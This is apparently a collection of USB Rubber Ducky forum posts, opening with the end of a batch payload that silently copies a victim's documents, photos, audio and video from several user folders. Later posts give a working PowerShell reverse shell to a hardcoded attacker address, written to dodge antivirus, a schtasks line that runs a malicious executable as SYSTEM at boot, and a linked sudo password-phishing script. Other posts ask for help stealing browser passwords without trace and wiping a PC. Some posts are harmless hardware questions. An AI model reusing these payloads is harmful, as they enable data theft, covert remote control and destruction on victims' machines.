%USERPROFILE%\Videos\*.pdf %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.pps %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.txt %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.tex %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.ltx %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.rtf %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.xls %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.xlsx %dst% >>nul) REM Image extensions if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.gif %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.jpg %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.jpeg %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.JPEG %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.png %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.tiff %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.psd %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.webp %dst% >>nul) REM audio extensions if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.mp3 %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.m4a %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.ogg %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.wav %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.wma %dst% >>nul) REM video extensions if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.3gp %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.avi %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.divx %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.mp4 %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.mpeg %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.ogm %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.wmv %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.mov %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.vob %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.webm %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.xvid %dst% >>nul) REM Folder to copy OneDrive REM Document extensions if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.csv %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.doc %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.docx %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.odt %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.ods %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.odg %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.odp %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.pdf %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.pps %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.txt %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.tex %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.ltx %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.rtf %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.xls %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.xlsx %dst% >>nul) REM Image extensions if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.gif %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.jpg %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.jpeg %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.JPEG %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.png %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.tiff %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.psd %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.webp %dst% >>nul) REM audio extensions if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.mp3 %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.m4a %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.ogg %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.wav %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.wma %dst% >>nul) REM video extensions if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.3gp %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.avi %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.divx %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.mp4 %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.mpeg %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.ogm %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.wmv %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.mov %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.vob %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.webm %dst% >>nul) if Exist %USERPROFILE%\OneDrive (xcopy /C /Q /G /Y /S %USERPROFILE%\OneDrive\*.xvid %dst% >>nul) REM Folder to copy Music REM Document extensions if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.csv %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.doc %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.docx %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.odt %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.ods %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.odg %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.odp %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.pdf %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.pps %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.txt %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.tex %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.ltx %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.rtf %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.xls %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.xlsx %dst% >>nul) REM Image extensions if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.gif %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.jpg %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.jpeg %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.JPEG %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.png %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.tiff %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.psd %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.webp %dst% >>nul) REM audio extensions if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.mp3 %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.m4a %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.ogg %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.wav %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.wma %dst% >>nul) REM video extensions if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.3gp %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.avi %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.divx %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.mp4 %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.mpeg %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.ogm %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.wmv %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.mov %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.vob %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.webm %dst% >>nul) if Exist %USERPROFILE%\Music (xcopy /C /Q /G /Y /S %USERPROFILE%\Music\*.xvid %dst% >>nul) REM Folder to copy Searches REM Document extensions if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.csv %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.doc %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.docx %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.odt %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.ods %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.odg %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.odp %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.pdf %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.pps %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.txt %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.tex %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.ltx %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.rtf %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.xls %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.xlsx %dst% >>nul) REM Image extensions if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.gif %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.jpg %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.jpeg %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.JPEG %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.png %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.tiff %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.psd %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.webp %dst% >>nul) REM audio extensions if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.mp3 %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.m4a %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.ogg %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.wav %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.wma %dst% >>nul) REM video extensions if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.3gp %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.avi %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.divx %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.mp4 %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.mpeg %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.ogm %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.wmv %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.mov %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.vob %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.webm %dst% >>nul) if Exist %USERPROFILE%\Searches (xcopy /C /Q /G /Y /S %USERPROFILE%\Searches\*.xvid %dst% >>nul) REM Blink CAPSLOCK key start /b /wait powershell.exe -nologo -WindowStyle Hidden -sta -command "$wsh = New-Object -ComObject WScript.Shell;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}')" @cls @exit

When I write a letter with accent mark in spanish does not mark the letter or the accent when I conect the USB Rubber Ducky to the pc Cuando escribo una letra con acento no me marca la letra ni el acento a la hora de conectar la USB Rubber Ducky al pc

I have purchased about 80% of your equipment, Pineapple Mark V, Nano tactical, bash bunny, pocket squirrel, lan turtle, usb rubber ducky, router, wifi dongles, etc. Unfortunately I purchased them separately as they came out. Therefore I don't have a custom Hak5 case to keep them in. I wish you would consider selling the cases separately. I would be your first customer to buy one. Love your products, and the show.

Hi guys, I just bought the rubber ducky and flashed it to the Twin Duck mode. Well the twin duck mode is working pretty much cool infact iam able to browse through files in my SD card and the one which comes with the ducky is also executing a Hello World Payload but when I make my own payload and put the inject.bin file the ducky doesnt show up rather it just show a red light for about a second and then theres no light neither the payload works. Ive tried to swap SD cards but that does'nt solve my problem either?

I successfully implemented the root payload on Mac and PC I have a linux box waiting that connected successfully as root on both devices My question is, how do I handle multiple machines? Give each one a different port? That seems obnoxious to have to port forward each one so I know that isnt right Is there a "session manager" or a way for a webserver to catch those connection requests?

Hello! I recently ordered a USB Rubber Ducky, and still a noob at it. I was wondering if one of you guys would be kind enough to make it do something, if it's possible. I want it, after it's plugged, to immediately start backing up the windows 10 and then after that it sends saves it online, or I heard about "TwinDuck" which can make it save it on there, which is better... So after it saves a backup on the Ducky, I want it to completely destroy the PC, maybe by erasing "System32" I am not sure I just want it to mess it up and delete everything. All while the backup is still on the rubber ducky. I would really appreciate if one could help me with such a mission, thanks! PS: If it could be compatible with all windows versions, it would be better.

Hi, I was looking at the USB Rubber Ducky and I noticed it had the optional decal. Is anyone able to tell me the dimensions for the USB decal because I wanted to custom print one with another logo. Thanks, CookieCoder

I found this script that is actualy working very well. It is running .exe from SD instead of download and execute. Now, I am running webbrowserpassview.exe and it extracts the passwords on the screen. I want to save it as .txt , download it on twinduck (SD) and close the window on desktop, so I leave no trace. Does anyone knows how to continue the script bellow to proceed this action? REM RunEXE From TwinDuck SD By rickblack28 DELAY 5000 GUI r DELAY 100 STRING powershell -windowstyle hidden ; Start-Process "D:\hello.exe" ; Start-Process "E:\hello.exe" ; Start-Process "F:\hello.exe" ; Start-Process "G:\hello.exe" ; Start-Process "H:\hello.exe" ; Start-Process "K:\hello.exe" ; Start-Process "Z:\hello.exe" ENTER Also searching some new scripts for windows7 that are actually working. Thanks guys.

How can I use a keyboard combo with three keys such as "GUI+ALT+F" Everytime I try using combos with more than two keys I get errors.

I would just like to preface by saying that I won't be here to read or respond to comments. I apologize for that, but I am spending as much time as I can focusing on research and learning everything I can. This is a time I would consider to be my intellectual prime and I really want to use this time as best I can in that regard, so I hope you can understand why I won't be actively engaging as a user in general. https://medium.com/@ViGrey/phishing-for-root-using-shell-functions-against-mac-and-linux-2b1b7edbb9a9 This is a script that pretends to be sudo and /usr/bin/sudo, acts like the password prompt, steals the password and deletes traces of itself, including the shell history of running the script itself. The specific ducky script in this post is for Ubuntu with Unity, but it could easily be tweaked to work with other desktops, distros, and even Mac OS X. The idea for this came when I was in the early stages of the research project I'm currently working on involving U2F security tokens (I'll make a post here about that later after I get a POC and blog post up). After testing out some commands for the project, the thought "Could I alias sudo?" came to mind and I decided to try it. Sure enough, it worked flawlessly. I then checked to see if I could alias sudo and call sudo at the end, essentially injecting commands into sudo. That worked flawlessly as well. Figuring these things out opened more questions and I ended up in a rabbit hole thinking about what I could do with it. After getting some other work done, I decided to start working on the ideas about 2 or 3 days ago after figuring out the same can be said about shell functions as aliases and came up with this. The ducky script is in the blog post, but also at https://gist.github.com/ViGrey/a988c76c87898a2156da7724c57f16b4#file-rootphisher-ducky. Go ahead and tinker with it; make it better. I know there are probably better ways to handle some edge cases that can arise, but I leave that as a exercise for you all and possibly myself in the future to look at. I just had fun working on this. Apologies for any confusing parts or spelling errors in the blog post. I wrote that post in a bit of a rush so I could get back to my current research project. Have fun with it!

Hey, i just found a method to start your malicious msf/or whatever payload as SYSTEM user from boot. This little shell line (shell needs to be run as administrator): schtasks /create /tn "Windows Help Service" /tr C:\maliciousfile.exe /sc onstart /ru SYSTEM /F creates a Task named "Windows Help Service" which runs C:\maliciousfile.exe every startup as SYSTEM user. Keep in mind that when using this as a payload you may need to escape the / and \ and ".I'm currently working on a C++ Version of PSExec (Source) to get rid of the .Net Framework. Feel free to post your Payload using the simple onliner which starts your malicious file as System every boot :)

Hello All, I have been in and out of the scene for years and I needed to hack into a few devices for work recently. Anyway with my interest reinvigorated I was wanting to know what would be a good starting point to purchase one of these devices. I'm up in the air on this as I will probably end up with another one once I purchase a field kit. I'm leaning toward the USB Rubber Ducky or the LAN Turtle as cash is a bit tight right now. On the flip side of this though is if I get the Wifi Pineapple Nano I will not end up with a double device if I get the Elite Field Kit as that comes with the Tetra.I figure when the Upgraded Field Kits release they will have the Bash Bunny also. Then I will have all the Things! YAY! Opinions, thoughts, and what is your reasoning? Thank you in advance for all feedback, neotracer

I had some serious issues trying to change the firmware on my ducky attempting to use ducky flasher with multiple versions of linux. I ultimately ended up using a windows based machine to make it work. My ducky is working pretty well except when I write payloads to test anything, because the ducky is setup in twin mode, it will open a window showing all the files on the sd card while executing the payload. Any thoughts or ideas of how to prevent this? It is extremely obvious that the ducky had been plugged in. Not very covert.

Hello, In the recent episodes Darren showed how to use the USB rubber duck to exfiltrate specified files from a victims computer when they are logged in. I am wondering if there is any way of doing this when no one is logged in? and the computer is at the login screen. thanks!

Hello, My code is this WINDOWS r Delay 200 notepad.exe ENTER. When i plug it in to my windows 10 pc it acts as if im pressing crtl alt delete. Im not sure why. Any one know anything.

Reverse TCP Shell using Powershell Only Hi Guys. I was having problems getting a payload for the ducky that wasn't detected by Kaspersky, AVG etc. So I started to look into the possibility of using Powershell only to create a reverse TCP shell. I found some promising base code on a Powershell site and made some additions/adaptations for connection resilience and error handling. Now, the nice thing about this PS script is that it's compatible with a netcat listener! Should be very easy to utilize this via a ducky script on my 'WiDucky'. (Wifi enabled ducky - https://github.com/basic4/WiDucky) Just setup a netcat listener on the attacker machine with: nc -l 6673 I've added code for the script to automatically reconnect to the attacker if connection is lost, and the script also returns shell error text to the listener too. The Powershell Script itself (could still use some tidying up - but works perfectly as is :) while (1 -eq 1) { $ErrorActionPreference = 'Continue'; try { #attempt inital connection $client = New-Object System.Net.Sockets.TCPClient("192.168.0.17",6673); $stream = $client.GetStream(); [byte[]]$bytes = 0..255|%{0}; $sendbytes = ([text.encoding]::ASCII).GetBytes("Client Connected..."+"`n`n" + "PS " + (pwd).Path + "> "); $stream.Write($sendbytes,0,$sendbytes.Length);$stream.Flush(); while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $recdata = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); if($recdata.StartsWith("kill-link")){ cls; $client.Close(); exit;} try { #attempt to execute the received command $sendback = (iex $recdata 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (pwd).Path + "> "; } catch { $error[0].ToString() + $error[0].InvocationInfo.PositionMessage; $sendback2 = "ERROR: " + $error[0].ToString() + "`n`n" + "PS " + (pwd).Path + "> "; cls; } $returnbytes = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($returnbytes,0,$returnbytes.Length);$stream.Flush(); } } catch { #an initial connection error - close and wait 30 secs then retry if($client.Connected) { $client.Close(); } cls; Start-Sleep -s 30; } } This is my first powershell script. But given how easy it was to get this working, I'm certainly going to use it more. Regards, Basic4. PS_TCP4.ps1

In Hak5's blog post about stealing files with the USB Rubber Ducky, they only targeted the documents folder on the C: drive. I'm looking to steal all .PDFs/Excel spreadsheet, regardless of their directory/drive. Can anyone show me how this is done? I have been trying all day now, but can't get a satisfactory result. Thanks in advance! Any help would be greatly appreciated.

How to Make USB Rubber Ducky Scripts When Drive Letter is Unknown. Ever wanted to make script that could get a file from the USB Rubber Ducky SD card. If you have you probably have run into the problem that, every time you plug the USB Rubber Ducky into a different computer, it most likely has a different drive letter then the last computer you plugged it into. Which means you would have to go back and change the drive letter in the script. If you are having problems with this then your on the right page! What I am going to hopefully teach you in this page is how to overcoming this problem. Here I have an example of a script that I have wrote that uses the Twin Duck Firmware to change the wallpaper of the computer to a file on my USB Rubber Ducky SD card. ------------------------------------------ DELAY 1000 REM -----------Opens CMD----------- WINDOWS R DELAY 500 STRING cmd ENTER DELAY 600 REM -----------Sets Wallpaper to image in the DUCKY SD card----------- STRING reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d E:\target.bmp /f ENTER DELAY 200 REM -----------Refreshing the wallpaper----------- STRING RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ENTER DELAY 100 STRING exit ENTER ------------------------------------------ As you can see in the script, we open up cmd via run and then type in : ------------------------------------------------------------------------------------ reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d E:\target.bmp /f ------------------------------------------------------------------------------------ The underlined part of the the script is the path of the target.bmp image inside the USB Rubber Ducky's SD card. Now if your drive letter is always changing, your going to run into a problem when you go to execute the command on a different machine that has, lets say, made your USB Rubber Ducky's Path the letter V, your going to run into some problems. To overcome this problem is really, really simple. And is shown here in a altered version of the script ------------------------------------------ DELAY 1000 REM -----------Opens CMD----------- WINDOWS R DELAY 500 STRING cmd ENTER DELAY 600 REM -----------Sets %ducky% to DUCKY drive letter----------- STRING for /f %d in ('wmic volume get driveletter^, label ^| findstr "DUCKY"') do set ducky=%d ENTER DELAY 100 REM -----------Sets Wallpaper to image in the DUCKY SD card----------- STRING reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d %ducky%/target.bmp /f ENTER DELAY 200 REM -----------Refreshing the wallpaper----------- STRING RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ENTER DELAY 100 STRING exit ENTER ------------------------------------------ As you can see, when cmd gets opened this script is typed in straight away and is executed: ------------------------------------------------------------------------------------ for /f %d in ('wmic volume get driveletter^, label ^| findstr "DUCKY"') do set ducky=%d ------------------------------------------------------------------------------------ The first thing that this command does is finds our Storage Device which is named 'DUCKY', which should be the SD card that is plugged into the USB Rubber Ducky. If your device's name is different you can either change the SD card name to 'DUCKY' or you can edit the command. If you want to change the command all you need to do is change 'DUCKY' in the command line to the name of your SD card, in the USB Rubber Ducky. The second thing the command does is make it so when you type in '%ducky% it will automatically make it mean the drive letter of the Ducky SD Card. For Example if I type in %ducky%/target.txt. It will open 'target.txt' in the 'DUCKY' SD Card, because %ducky% equals the drive letter of the SD card. Please note this can only be used in cmd, it will not work in another program like Run or File Explorer. I really hope this helps you guys if you have had this problem. If there is any wrong information in this post please let me know. Cheers, Bingoe33

